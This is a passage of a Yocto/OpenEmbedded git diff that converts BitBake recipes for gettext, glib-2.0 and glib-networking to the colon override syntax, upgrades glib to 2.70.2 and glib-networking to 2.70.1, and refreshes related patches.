${bindir}/envsubst \
${bindir}/gettext.sh \
${libdir}/libasprintf.so* \
${libdir}/GNU.Gettext.dll \
"
-FILES_gettext-runtime-dev += "${libdir}/libasprintf.a \
+FILES:gettext-runtime-dev += "${libdir}/libasprintf.a \
${includedir}/autosprintf.h \
"
-FILES_gettext-runtime-doc = "${mandir}/man1/gettext.* \
+FILES:gettext-runtime-doc = "${mandir}/man1/gettext.* \
${mandir}/man1/ngettext.* \
${mandir}/man1/envsubst.* \
${mandir}/man1/.* \
@@ -116,11 +117,11 @@ FILES_gettext-runtime-doc = "${mandir}/man1/gettext.* \
${infodir}/autosprintf.info \
"
-do_install_append() {
+do_install:append() {
rm -f ${D}${libdir}/preloadable_libintl.so
}
-do_install_append_class-native () {
+do_install:append:class-native () {
rm ${D}${datadir}/aclocal/*
rm ${D}${datadir}/gettext/config.rpath
rm ${D}${datadir}/gettext/po/Makefile.in.in
@@ -171,11 +172,12 @@ do_install_ptest() {
find ${D}${PTEST_PATH}/ -name "*.o" -exec rm {} \;
chmod 0755 ${D}${PTEST_PATH}/tests/lang-vala ${D}${PTEST_PATH}/tests/plural-1 ${D}${PTEST_PATH}/tests/xgettext-tcl-4 \
${D}${PTEST_PATH}/tests/xgettext-vala-1 ${D}${PTEST_PATH}/tests/xgettext-po-2
+ sed -i -e 's|${DEBUG_PREFIX_MAP}||g' ${D}${PTEST_PATH}/tests/init-env
fi
}
-RDEPENDS_${PN}-ptest += "make"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
+RDEPENDS:${PN}-ptest += "make xz"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
glibc-gconv-big5 \
glibc-charmap-big5 \
glibc-gconv-cp1251 \
@@ -196,12 +198,12 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = "\
locale-base-fr-fr \
"
-RRECOMMENDS_${PN}-ptest_append_libc-glibc = "\
+RRECOMMENDS:${PN}-ptest:append:libc-glibc = "\
locale-base-de-de.iso-8859-1 \
locale-base-fr-fr.iso-8859-1 \
"
-INSANE_SKIP_${PN}-ptest += "ldflags"
-INSANE_SKIP_${PN}-ptest += "rpaths"
+INSANE_SKIP:${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "rpaths"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
index d6765b163b..8a6d46df79 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
@@ -17,16 +17,16 @@ diff --git a/gio/tests/meson.build b/gio/tests/meson.build
index 3a19c82..b762835 100644
--- a/gio/tests/meson.build
+++ b/gio/tests/meson.build
-@@ -12,7 +12,7 @@ test_c_args = [
- '-UG_DISABLE_ASSERT',
- ]
+@@ -27,7 +27,7 @@ test_c_args = [
+ endif # libutil.length() > 0
+ endif # build_machine.system() == 'linux'
-if host_machine.system() == 'windows'
+if host_system == 'windows'
common_gio_tests_deps += [iphlpapi_dep, winsock2, cc.find_library ('secur32')]
endif
-@@ -133,7 +133,7 @@ else
+@@ -148,7 +148,7 @@ else
endif
# Test programs buildable on UNIX only
@@ -35,7 +35,7 @@ index 3a19c82..b762835 100644
gio_tests += {
'file' : {},
'gdbus-peer' : {
-@@ -385,7 +385,7 @@ if host_machine.system() != 'windows'
+@@ -402,7 +402,7 @@ if host_machine.system() != 'windows'
endif # unix
# Test programs buildable on Windows only
@@ -44,7 +44,7 @@ index 3a19c82..b762835 100644
gio_tests += {'win32-streams' : {}}
endif
-@@ -455,7 +455,7 @@ if cc.get_id() != 'msvc' and cc.get_id() != 'clang-cl'
+@@ -472,7 +472,7 @@ if cc.get_id() != 'msvc' and cc.get_id() != 'clang-cl'
}
endif
@@ -57,7 +57,7 @@ diff --git a/glib/tests/meson.build b/glib/tests/meson.build
index 6eb23e8..36eb919 100644
--- a/glib/tests/meson.build
+++ b/glib/tests/meson.build
-@@ -137,7 +137,7 @@ if glib_conf.has('HAVE_EVENTFD')
+@@ -142,7 +142,7 @@ if glib_conf.has('HAVE_EVENTFD')
}
endif
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch
new file mode 100644
index 0000000000..7690bb37a6
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch
@@ -0,0 +1,26 @@
+From b833254bcc9fcf4cdc2572027b1154d799535ca4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sun, 20 Dec 2020 22:01:43 +0100
+Subject: [PATCH] gio/tests/codegen.py: bump timeout to 100 seconds
+
+This may be necessary on overloaded CI systems.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/glib/-/merge_requests/2348]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ gio/tests/codegen.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gio/tests/codegen.py b/gio/tests/codegen.py
+index 51de0ed..ca98c9d 100644
+--- a/gio/tests/codegen.py
++++ b/gio/tests/codegen.py
+@@ -55,7 +55,7 @@ class TestCodegen(unittest.TestCase):
+ cwd = ""
+
+ def setUp(self):
+- self.timeout_seconds = 10 # seconds per test
++ self.timeout_seconds = 100 # seconds per test
+ self.tmpdir = tempfile.TemporaryDirectory()
+ self.cwd = os.getcwd()
+ os.chdir(self.tmpdir.name)
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch b/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch
index 41ecfa1df8..9bbb33ffc1 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch
@@ -1,4 +1,4 @@
-From 7cde170afe6854d674b50e32b4c1d3b511be9abe Mon Sep 17 00:00:00 2001
+From 73b1c416674d285b021e218da1a3ddb884e606da Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Mon, 9 Nov 2015 11:07:27 +0200
Subject: [PATCH] Enable more tests while cross-compiling
@@ -15,10 +15,10 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
1 file changed, 12 insertions(+), 12 deletions(-)
diff --git a/gio/tests/meson.build b/gio/tests/meson.build
-index 788cf97..dab65d2 100644
+index 5dbfb8e..3fd7998 100644
--- a/gio/tests/meson.build
+++ b/gio/tests/meson.build
-@@ -203,7 +203,7 @@ if host_machine.system() != 'windows'
+@@ -221,7 +221,7 @@ if host_machine.system() != 'windows'
# Test programs that need to bring up a session bus (requires dbus-daemon)
have_dbus_daemon = find_program('dbus-daemon', required : false).found()
@@ -27,7 +27,7 @@ index 788cf97..dab65d2 100644
annotate_args = [
'--annotate', 'org.project.Bar', 'Key1', 'Value1',
'--annotate', 'org.project.Bar', 'org.gtk.GDBus.Internal', 'Value2',
-@@ -548,12 +548,12 @@ if installed_tests_enabled
+@@ -570,12 +570,12 @@ if installed_tests_enabled
endforeach
endif
@@ -42,7 +42,7 @@ index 788cf97..dab65d2 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--generate-source',
-@@ -577,7 +577,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -599,7 +599,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
test_gresource = custom_target('test.gresource',
input : 'test.gresource.xml',
output : 'test.gresource',
@@ -51,7 +51,7 @@ index 788cf97..dab65d2 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--sourcedir=' + meson.current_build_dir(),
-@@ -588,7 +588,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -610,7 +610,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
test_resources2_c = custom_target('test_resources2.c',
input : 'test3.gresource.xml',
output : 'test_resources2.c',
@@ -60,7 +60,7 @@ index 788cf97..dab65d2 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--generate',
-@@ -599,7 +599,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -621,7 +621,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
test_resources2_h = custom_target('test_resources2.h',
input : 'test3.gresource.xml',
output : 'test_resources2.h',
@@ -69,7 +69,7 @@ index 788cf97..dab65d2 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--generate',
-@@ -611,7 +611,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -633,7 +633,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
input : 'test2.gresource.xml',
depends : big_test_resource,
output : 'test_resources.c',
@@ -78,7 +78,7 @@ index 788cf97..dab65d2 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--sourcedir=' + meson.current_build_dir(),
-@@ -622,7 +622,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -644,7 +644,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
digit_test_resources_c = custom_target('digit_test_resources.c',
input : '111_digit_test.gresource.xml',
output : 'digit_test_resources.c',
@@ -87,7 +87,7 @@ index 788cf97..dab65d2 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--sourcedir=' + meson.current_build_dir(),
-@@ -633,7 +633,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -655,7 +655,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
digit_test_resources_h = custom_target('digit_test_resources.h',
input : '111_digit_test.gresource.xml',
output : 'digit_test_resources.h',
@@ -96,11 +96,11 @@ index 788cf97..dab65d2 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--generate',
-@@ -668,11 +668,11 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -688,11 +688,11 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
ld = find_program('ld', required : false)
-- if build_machine.system() == 'linux' and cc.get_id() == 'gcc' and objcopy.found() and objcopy_supports_add_symbol and ld.found()
+- if build_machine.system() == 'linux' and objcopy.found() and objcopy_supports_add_symbol and ld.found()
+ if not meson.is_cross_build()
test_gresource_binary = custom_target('test5.gresource',
input : 'test5.gresource.xml',
@@ -110,7 +110,7 @@ index 788cf97..dab65d2 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--sourcedir=' + meson.current_build_dir(),
-@@ -684,7 +684,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -704,7 +704,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
test_resources_binary_c = custom_target('test_resources_binary.c',
input : 'test5.gresource.xml',
output : 'test_resources_binary.c',
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch b/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
index 2b8e930511..2118c7e6b9 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
@@ -1,4 +1,4 @@
-From 85931fbb981b5aae38f1c1370d5d3c091cb862b8 Mon Sep 17 00:00:00 2001
+From f4b144cbcd474d5f4982e654607fd609e056b532 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Fri, 11 Mar 2016 15:35:55 +0000
Subject: [PATCH] glib-2.0: relocate the GIO module directory for native builds
@@ -19,19 +19,19 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/gio/giomodule.c b/gio/giomodule.c
-index dc4d6d3..da46906 100644
+index d34037a..7442df6 100644
--- a/gio/giomodule.c
+++ b/gio/giomodule.c
-@@ -49,6 +49,8 @@
- #include "gmemorymonitordbus.h"
+@@ -54,6 +54,8 @@
#ifdef G_OS_WIN32
#include "gregistrysettingsbackend.h"
+ #include "giowin32-priv.h"
+#else
+#include <dlfcn.h>
#endif
#include <glib/gstdio.h>
-@@ -1163,7 +1165,15 @@ get_gio_module_dir (void)
+@@ -1224,7 +1226,15 @@ get_gio_module_dir (void)
NULL);
g_free (install_dir);
#else
diff --git a/meta/recipes-core/glib-2.0/glib-2.0_2.66.2.bb b/meta/recipes-core/glib-2.0/glib-2.0_2.66.2.bb
deleted file mode 100644
index 1f83660856..0000000000
--- a/meta/recipes-core/glib-2.0/glib-2.0_2.66.2.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-require glib.inc
-
-PE = "1"
-
-SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/glib/${SHRT_VER}/glib-${PV}.tar.xz \
- file://run-ptest \
- file://0001-Fix-DATADIRNAME-on-uclibc-Linux.patch \
- file://Enable-more-tests-while-cross-compiling.patch \
- file://0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch \
- file://0001-Install-gio-querymodules-as-libexec_PROGRAM.patch \
- file://0001-Do-not-ignore-return-value-of-write.patch \
- file://0010-Do-not-hardcode-python-path-into-various-tools.patch \
- file://0001-Set-host_machine-correctly-when-building-with-mingw3.patch \
- file://0001-Do-not-write-bindir-into-pkg-config-files.patch \
- file://0001-meson-Run-atomics-test-on-clang-as-well.patch \
- file://0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch \
- "
-
-SRC_URI_append_class-native = " file://relocate-modules.patch"
-
-SRC_URI[sha256sum] = "ec390bed4e8dd0f89e918f385e8d4cfd7470b1ef7c1ce93ec5c4fc6e3c6a17c4"
-
-# Find any meson cross files in FILESPATH that are relevant for the current
-# build (using siteinfo) and add them to EXTRA_OEMESON.
-inherit siteinfo
-def find_meson_cross_files(d):
- if bb.data.inherits_class('native', d):
- return ""
-
- corebase = d.getVar("COREBASE")
- import collections
- sitedata = siteinfo_data(d)
- # filename -> found
- files = collections.OrderedDict()
- for path in d.getVar("FILESPATH").split(":"):
- for element in sitedata:
- filename = os.path.normpath(os.path.join(path, "meson.cross.d", element))
- files[filename.replace(corebase, "${COREBASE}")] = os.path.exists(filename)
-
- items = ["--cross-file=" + k for k,v in files.items() if v]
- d.appendVar("EXTRA_OEMESON", " " + " ".join(items))
- items = ["%s:%s" % (k, "True" if v else "False") for k,v in files.items()]
- d.appendVarFlag("do_configure", "file-checksums", " " + " ".join(items))
-
-python () {
- find_meson_cross_files(d)
-}
diff --git a/meta/recipes-core/glib-2.0/glib-2.0_2.70.2.bb b/meta/recipes-core/glib-2.0/glib-2.0_2.70.2.bb
new file mode 100644
index 0000000000..df0dde5080
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0_2.70.2.bb
@@ -0,0 +1,54 @@
+require glib.inc
+
+PE = "1"
+
+SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/glib/${SHRT_VER}/glib-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-Fix-DATADIRNAME-on-uclibc-Linux.patch \
+ file://Enable-more-tests-while-cross-compiling.patch \
+ file://0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch \
+ file://0001-Install-gio-querymodules-as-libexec_PROGRAM.patch \
+ file://0001-Do-not-ignore-return-value-of-write.patch \
+ file://0010-Do-not-hardcode-python-path-into-various-tools.patch \
+ file://0001-Set-host_machine-correctly-when-building-with-mingw3.patch \
+ file://0001-Do-not-write-bindir-into-pkg-config-files.patch \
+ file://0001-meson-Run-atomics-test-on-clang-as-well.patch \
+ file://0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch \
+ file://0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch \
+ "
+SRC_URI:append:class-native = " file://relocate-modules.patch"
+
+SRC_URI[sha256sum] = "0551459c85cd3da3d58ddc9016fd28be5af503f5e1615a71ba5b512ac945806f"
+
+# Find any meson cross files in FILESPATH that are relevant for the current
+# build (using siteinfo) and add them to EXTRA_OEMESON.
+inherit siteinfo
+def find_meson_cross_files(d):
+ if bb.data.inherits_class('native', d):
+ return ""
+
+ thisdir = os.path.normpath(d.getVar("THISDIR"))
+ import collections
+ sitedata = siteinfo_data(d)
+ # filename -> found
+ files = collections.OrderedDict()
+ for path in d.getVar("FILESPATH").split(":"):
+ for element in sitedata:
+ filename = os.path.normpath(os.path.join(path, "meson.cross.d", element))
+ sanitized_path = filename.replace(thisdir, "${THISDIR}")
+ if sanitized_path == filename:
+ if os.path.exists(filename):
+ bb.error("Cannot add '%s' to --cross-file, because it's not relative to THISDIR '%s' and sstate signature would contain this full path" % (filename, thisdir))
+ continue
+ files[filename.replace(thisdir, "${THISDIR}")] = os.path.exists(filename)
+
+ items = ["--cross-file=" + k for k,v in files.items() if v]
+ d.appendVar("EXTRA_OEMESON", " " + " ".join(items))
+ items = ["%s:%s" % (k, "True" if v else "False") for k,v in files.items()]
+ d.appendVarFlag("do_configure", "file-checksums", " " + " ".join(items))
+
+python () {
+ find_meson_cross_files(d)
+}
diff --git a/meta/recipes-core/glib-2.0/glib.inc b/meta/recipes-core/glib-2.0/glib.inc
index 71777bc459..0eef2e330c 100644
--- a/meta/recipes-core/glib-2.0/glib.inc
+++ b/meta/recipes-core/glib-2.0/glib.inc
@@ -4,12 +4,11 @@ HOMEPAGE = "https://developer.gnome.org/glib/"
# pcre is under BSD;
# docs/reference/COPYING is with a 'public domain'-like license!
-LICENSE = "LGPLv2.1+ & BSD & PD"
+LICENSE = "LGPLv2.1+ & BSD-3-Clause & PD"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
file://glib/glib.h;beginline=4;endline=17;md5=b88abb7f3ad09607e71cb9d530155906 \
file://gmodule/COPYING;md5=4fbd65380cdd255951079008b364516c \
file://gmodule/gmodule.h;beginline=4;endline=17;md5=b88abb7f3ad09607e71cb9d530155906 \
- file://glib/pcre/pcre.h;beginline=8;endline=36;md5=3e2977dae4ad05217f58c446237298fc \
file://docs/reference/COPYING;md5=f51a5100c17af6bae00735cd791e1fcc"
BUGTRACKER = "http://bugzilla.gnome.org"
SECTION = "libs"
@@ -22,6 +21,7 @@ DEPENDS = "glib-2.0-native \
virtual/libintl \
virtual/libiconv \
libffi \
+ libpcre \
zlib"
PACKAGES += "${PN}-codegen ${PN}-utils"
@@ -30,73 +30,73 @@ LEAD_SONAME = "libglib-2.0.*"
inherit meson gettext gtk-doc pkgconfig ptest-gnome upstream-version-is-even bash-completion gio-module-cache manpages
-DEPENDS_append_class-target = "${@' gtk-doc' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
+DEPENDS:append:class-target = "${@' gtk-doc' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
GTKDOC_MESON_OPTION = "gtk_doc"
S = "${WORKDIR}/glib-${PV}"
-PACKAGECONFIG ??= "system-pcre libmount \
+PACKAGECONFIG ??= "libmount \
${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
# To use the system pcre it must be configured with --enable-unicode-properties
-PACKAGECONFIG[system-pcre] = "-Dinternal_pcre=false,-Dinternal_pcre=true,libpcre"
PACKAGECONFIG[libmount] = "-Dlibmount=enabled,-Dlibmount=disabled,util-linux"
PACKAGECONFIG[manpages] = "-Dman=true, -Dman=false, libxslt-native xmlto-native"
# libelf is auto-detected without a configuration option
PACKAGECONFIG[libelf] = ",,elfutils"
PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false,dbus"
+PACKAGECONFIG[selinux] = "-Dselinux=enabled,-Dselinux=disabled,libselinux"
-EXTRA_OEMESON = "-Ddtrace=false -Dfam=false -Dsystemtap=false -Dselinux=disabled"
+EXTRA_OEMESON = "-Ddtrace=false -Dfam=false -Dsystemtap=false"
-do_configure_prepend() {
+do_configure:prepend() {
sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/gio/gdbus-2.0/codegen/gdbus-codegen.in
}
-FILES_${PN} = "${libdir}/lib*${SOLIBS} \
+FILES:${PN} = "${libdir}/lib*${SOLIBS} \
${libdir}/gio \
${libexecdir}/*gio-querymodules \
${datadir}/glib-2.0/schemas"
-FILES_${PN}-utils += "${bindir}/glib-genmarshal \
+FILES:${PN}-utils += "${bindir}/glib-genmarshal \
${bindir}/glib-gettextize \
${bindir}/glib-mkenums \
${bindir}/glib-compile-resources"
-FILES_${PN}-dev += "${libdir}/glib-2.0/include \
+FILES:${PN}-dev += "${libdir}/glib-2.0/include \
${libdir}/gio/modules/lib*${SOLIBSDEV} \
${libdir}/gio/modules/*.la \
${datadir}/glib-2.0/gettext/po/Makefile.in.in \
${datadir}/glib-2.0/schemas/gschema.dtd \
${datadir}/glib-2.0/valgrind/glib.supp \
${datadir}/gettext/its"
-FILES_${PN}-dbg += "${datadir}/glib-2.0/gdb ${datadir}/gdb"
-FILES_${PN}-codegen = "${datadir}/glib-2.0/codegen/*.py \
+FILES:${PN}-dbg += "${datadir}/glib-2.0/gdb ${datadir}/gdb"
+FILES:${PN}-codegen = "${datadir}/glib-2.0/codegen/*.py \
${bindir}/gdbus-codegen"
-FILES_${PN}-utils = "${bindir}/*"
+FILES:${PN}-utils = "${bindir}/*"
SHAREDMIMEDEP = "shared-mime-info"
-SHAREDMIMEDEP_class-native = ""
+SHAREDMIMEDEP:class-native = ""
# When cross compiling for Windows we don't want to include this
-SHAREDMIMEDEP_mingw32 = ""
+SHAREDMIMEDEP:mingw32 = ""
-RRECOMMENDS_${PN} += "${SHAREDMIMEDEP}"
+RRECOMMENDS:${PN} += "${SHAREDMIMEDEP}"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
# Valgrind runtime detection works using hand-written assembly, which
# doesn't support mips16e
-CPPFLAGS_append_class-target_mips16e = " -DNVALGRIND=1"
+CPPFLAGS:append:class-target:mips16e = " -DNVALGRIND=1"
# GLib generally requires gettext to be present so for USE_NLS to yes. For
# native builds as i18n is disabled globally we have to add a gettext-native dependency.
-USE_NLS_class-target = "yes"
-USE_NLS_class-nativesdk = "yes"
-DEPENDS_append_class-native = " gettext-native"
+USE_NLS:class-target = "yes"
+USE_NLS:class-nativesdk = "yes"
+DEPENDS:append:class-native = " gettext-native"
EXEEXT = ""
-EXEEXT_mingw32 = ".exe"
+EXEEXT:mingw32 = ".exe"
-do_install_append () {
+do_install:append () {
if [ -f ${D}${bindir}/gtester-report ]; then
sed ${D}${bindir}/gtester-report -i -e '1s|^#!.*|#!/usr/bin/env python3|'
fi
@@ -118,7 +118,7 @@ do_install_append () {
mkdir -p ${D}${libdir}/gio/modules
}
-do_install_append_class-target () {
+do_install:append:class-target () {
# Tests are only installed on targets, not native builds. Separating this out
# keeps glib-2.0-native from depending on DISTRO_FEATURES
if [ -f ${D}${datadir}/installed-tests/glib/gdbus-serialization.test ]; then
@@ -134,18 +134,18 @@ do_install_append_class-target () {
}
# As we do not build python3 for windows, makes no sense to ship the script that's using it
-do_install_append_mingw32() {
+do_install:append:mingw32() {
rm -f ${D}${bindir}/gtester-report
}
CODEGEN_PYTHON_RDEPENDS = "python3 python3-distutils python3-xml"
-CODEGEN_PYTHON_RDEPENDS_mingw32 = ""
+CODEGEN_PYTHON_RDEPENDS:mingw32 = ""
-RDEPENDS_${PN}-codegen += "${CODEGEN_PYTHON_RDEPENDS}"
+RDEPENDS:${PN}-codegen += "${CODEGEN_PYTHON_RDEPENDS}"
-RDEPENDS_${PN}-ptest += "${PN}-utils"
+RDEPENDS:${PN}-ptest += "${PN}-utils"
-RDEPENDS_${PN}-ptest += "\
+RDEPENDS:${PN}-ptest += "\
coreutils \
libgcc \
dbus \
@@ -170,7 +170,7 @@ RDEPENDS_${PN}-ptest += "\
${PN}-codegen \
"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
glibc-gconv-utf-16 \
glibc-charmap-utf-8 \
glibc-gconv-cp1255 \
diff --git a/meta/recipes-core/glib-networking/glib-networking_2.66.0.bb b/meta/recipes-core/glib-networking/glib-networking_2.66.0.bb
deleted file mode 100644
index 230932daf0..0000000000
--- a/meta/recipes-core/glib-networking/glib-networking_2.66.0.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "GLib networking extensions"
-DESCRIPTION = "glib-networking contains the implementations of certain GLib networking features that cannot be implemented directly in GLib itself because of their dependencies."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/glib-networking/"
-BUGTRACKER = "http://bugzilla.gnome.org"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SECTION = "libs"
-DEPENDS = "glib-2.0"
-
-SRC_URI[archive.sha256sum] = "c5d7be2437fdd196eebfb70c4517b96d3ba7ec13bd496318b8f02dea383e0099"
-
-PACKAGECONFIG ??= "gnutls ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
-
-PACKAGECONFIG[gnutls] = "-Dgnutls=enabled,-Dgnutls=disabled,gnutls"
-PACKAGECONFIG[openssl] = "-Dopenssl=enabled,-Dopenssl=disabled,openssl"
-PACKAGECONFIG[libproxy] = "-Dlibproxy=enabled,-Dlibproxy=disabled,libproxy"
-PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
-
-EXTRA_OEMESON = "-Dgnome_proxy=disabled"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gettext upstream-version-is-even gio-module-cache ptest-gnome
-
-SRC_URI += "file://run-ptest"
-
-FILES_${PN} += "\
- ${libdir}/gio/modules/libgio*.so \
- ${datadir}/dbus-1/services/ \
- ${systemd_user_unitdir} \
- "
-FILES_${PN}-dev += "${libdir}/gio/modules/libgio*.la"
-FILES_${PN}-staticdev += "${libdir}/gio/modules/libgio*.a"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/glib-networking/glib-networking_2.70.1.bb b/meta/recipes-core/glib-networking/glib-networking_2.70.1.bb
new file mode 100644
index 0000000000..f020e16068
--- /dev/null
+++ b/meta/recipes-core/glib-networking/glib-networking_2.70.1.bb
@@ -0,0 +1,38 @@
+SUMMARY = "GLib networking extensions"
+DESCRIPTION = "glib-networking contains the implementations of certain GLib networking features that cannot be implemented directly in GLib itself because of their dependencies."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/glib-networking/"
+BUGTRACKER = "http://bugzilla.gnome.org"
+
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SECTION = "libs"
+DEPENDS = "glib-2.0"
+
+SRC_URI[archive.sha256sum] = "2a16bfc2d271ccd3266e3fb462bc8a4103c02e81bbb339aa92d6fb060592d7bc"
+
+PACKAGECONFIG ??= "openssl ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+
+PACKAGECONFIG[gnutls] = "-Dgnutls=enabled,-Dgnutls=disabled,gnutls"
+PACKAGECONFIG[openssl] = "-Dopenssl=enabled,-Dopenssl=disabled,openssl"
+PACKAGECONFIG[libproxy] = "-Dlibproxy=enabled,-Dlibproxy=disabled,libproxy"
+PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
+
+EXTRA_OEMESON = "-Dgnome_proxy=disabled"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase gettext upstream-version-is-even gio-module-cache ptest-gnome
+
+SRC_URI += "file://run-ptest"
+
+FILES:${PN} += "\
+ ${libdir}/gio/modules/libgio*.so \
+ ${datadir}/dbus-1/services/ \
+ ${systemd_user_unitdir} \
+ "
+FILES:${PN}-dev += "${libdir}/gio/modules/libgio*.la"
+FILES:${PN}-staticdev += "${libdir}/gio/modules/libgio*.a"
+
+RDEPENDS:${PN}-ptest += "bash"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/glibc/cross-localedef-native_2.32.bb b/meta/recipes-core/glibc/cross-localedef-native_2.32.bb
deleted file mode 100644
index 5a0abbb70f..0000000000
--- a/meta/recipes-core/glibc/cross-localedef-native_2.32.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Cross locale generation tool for glibc"
-HOMEPAGE = "http://www.gnu.org/software/libc/libc.html"
-SECTION = "libs"
-LICENSE = "LGPL-2.1"
-
-LIC_FILES_CHKSUM = "file://LICENSES;md5=1541fd8f5e8f1579512bf05f533371ba \
- file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://posix/rxspencer/COPYRIGHT;md5=dc5485bb394a13b2332ec1c785f5d83a \
- file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
-
-require glibc-version.inc
-
-# Tell autotools that we're working in the localedef directory
-#
-AUTOTOOLS_SCRIPT_PATH = "${S}/localedef"
-
-inherit native
-inherit autotools
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/${PN}:${FILE_DIRNAME}/glibc:"
-
